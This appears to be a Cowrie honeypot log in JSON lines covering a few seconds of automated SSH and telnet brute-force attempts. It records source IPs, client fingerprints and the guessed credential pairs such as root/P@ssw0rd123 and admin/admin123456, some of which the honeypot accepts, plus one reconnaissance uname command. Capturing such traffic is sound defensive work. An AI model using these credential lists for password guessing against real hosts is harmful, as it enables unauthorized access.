{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:35.484219Z","src_ip":"176.65.132.129","session":"6c9feca04a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:35.571802Z","src_ip":"176.65.132.129","session":"6c9feca04a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:35.823107Z","src_ip":"176.65.132.129","session":"6c9feca04a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:36.907945Z","src_ip":"176.65.132.129","session":"6c9feca04a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55180,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c3f2b5f210","protocol":"ssh","message":"New connection: 176.65.132.129:55180 (159.203.135.109:22) [session: f3c3f2b5f210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:38.879778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:38.935829Z","src_ip":"176.65.132.129","session":"f3c3f2b5f210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:38.979085Z","src_ip":"176.65.132.129","session":"f3c3f2b5f210","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:39.287652Z","src_ip":"176.65.132.129","session":"f3c3f2b5f210","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:39.487876Z","src_ip":"176.65.132.129","session":"f3c3f2b5f210","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:39.491327Z","src_ip":"176.65.132.129","session":"f3c3f2b5f210","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:39.577217Z","src_ip":"176.65.132.129","session":"f3c3f2b5f210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:39.582465Z","src_ip":"176.65.132.129","session":"f3c3f2b5f210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55196,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e277ae2a067","protocol":"ssh","message":"New connection: 176.65.132.129:55196 (159.203.135.109:22) [session: 7e277ae2a067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:42.254836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:42.259802Z","src_ip":"176.65.132.129","session":"7e277ae2a067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:42.341900Z","src_ip":"176.65.132.129","session":"7e277ae2a067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:42.588300Z","src_ip":"176.65.132.129","session":"7e277ae2a067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:43.804810Z","src_ip":"176.65.132.129","session":"7e277ae2a067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41164,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1dcd9bcdaec","protocol":"telnet","message":"New connection: 45.58.127.90:41164 (10.17.0.5:23) [session: e1dcd9bcdaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:44.278309Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35260,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4f72fcef62","protocol":"ssh","message":"New connection: 172.237.20.62:35260 (159.203.135.109:22) [session: 5d4f72fcef62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:44.466362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:44.474325Z","src_ip":"172.237.20.62","session":"5d4f72fcef62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:44.636938Z","src_ip":"172.237.20.62","session":"5d4f72fcef62","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.126767Z","src_ip":"172.237.20.62","session":"5d4f72fcef62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55204,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ef1991f7cc7","protocol":"ssh","message":"New connection: 176.65.132.129:55204 (159.203.135.109:22) [session: 9ef1991f7cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.527535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.532990Z","src_ip":"176.65.132.129","session":"9ef1991f7cc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.639871Z","src_ip":"172.237.20.62","session":"5d4f72fcef62","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.652747Z","src_ip":"172.237.20.62","session":"5d4f72fcef62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.659508Z","src_ip":"176.65.132.129","session":"9ef1991f7cc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.824955Z","src_ip":"172.237.20.62","session":"5d4f72fcef62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:45.830175Z","src_ip":"172.237.20.62","session":"5d4f72fcef62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:46.063937Z","src_ip":"176.65.132.129","session":"9ef1991f7cc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:47.150892Z","src_ip":"176.65.132.129","session":"9ef1991f7cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47520,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ff10853819f","protocol":"ssh","message":"New connection: 176.65.132.129:47520 (159.203.135.109:22) [session: 4ff10853819f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:49.027686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:49.032319Z","src_ip":"176.65.132.129","session":"4ff10853819f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:49.114127Z","src_ip":"176.65.132.129","session":"4ff10853819f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:49.362775Z","src_ip":"176.65.132.129","session":"4ff10853819f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41166,"dst_ip":"10.17.0.5","dst_port":23,"session":"6edd5fe956cb","protocol":"telnet","message":"New connection: 45.58.127.90:41166 (10.17.0.5:23) [session: 6edd5fe956cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:49.846833Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:50.447758Z","src_ip":"176.65.132.129","session":"4ff10853819f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37402,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f88a3670cc","protocol":"telnet","message":"New connection: 45.58.127.90:37402 (10.17.0.5:23) [session: a6f88a3670cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:52.278783Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47522,"dst_ip":"159.203.135.109","dst_port":22,"session":"39f385c7ec96","protocol":"ssh","message":"New connection: 176.65.132.129:47522 (159.203.135.109:22) [session: 39f385c7ec96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:52.301797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:52.307115Z","src_ip":"176.65.132.129","session":"39f385c7ec96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:52.388985Z","src_ip":"176.65.132.129","session":"39f385c7ec96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:52.643217Z","src_ip":"176.65.132.129","session":"39f385c7ec96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:53.728884Z","src_ip":"176.65.132.129","session":"39f385c7ec96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.620922327041626,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:54.899579Z","src_ip":"45.58.127.90","session":"a6f88a3670cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39888,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec70026f5bc8","protocol":"ssh","message":"New connection: 172.237.20.62:39888 (159.203.135.109:22) [session: ec70026f5bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:55.481826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:55.486918Z","src_ip":"172.237.20.62","session":"ec70026f5bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47532,"dst_ip":"159.203.135.109","dst_port":22,"session":"06ee4c89a275","protocol":"ssh","message":"New connection: 176.65.132.129:47532 (159.203.135.109:22) [session: 06ee4c89a275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:55.584120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:55.589242Z","src_ip":"176.65.132.129","session":"06ee4c89a275","protocol":"ssh"}
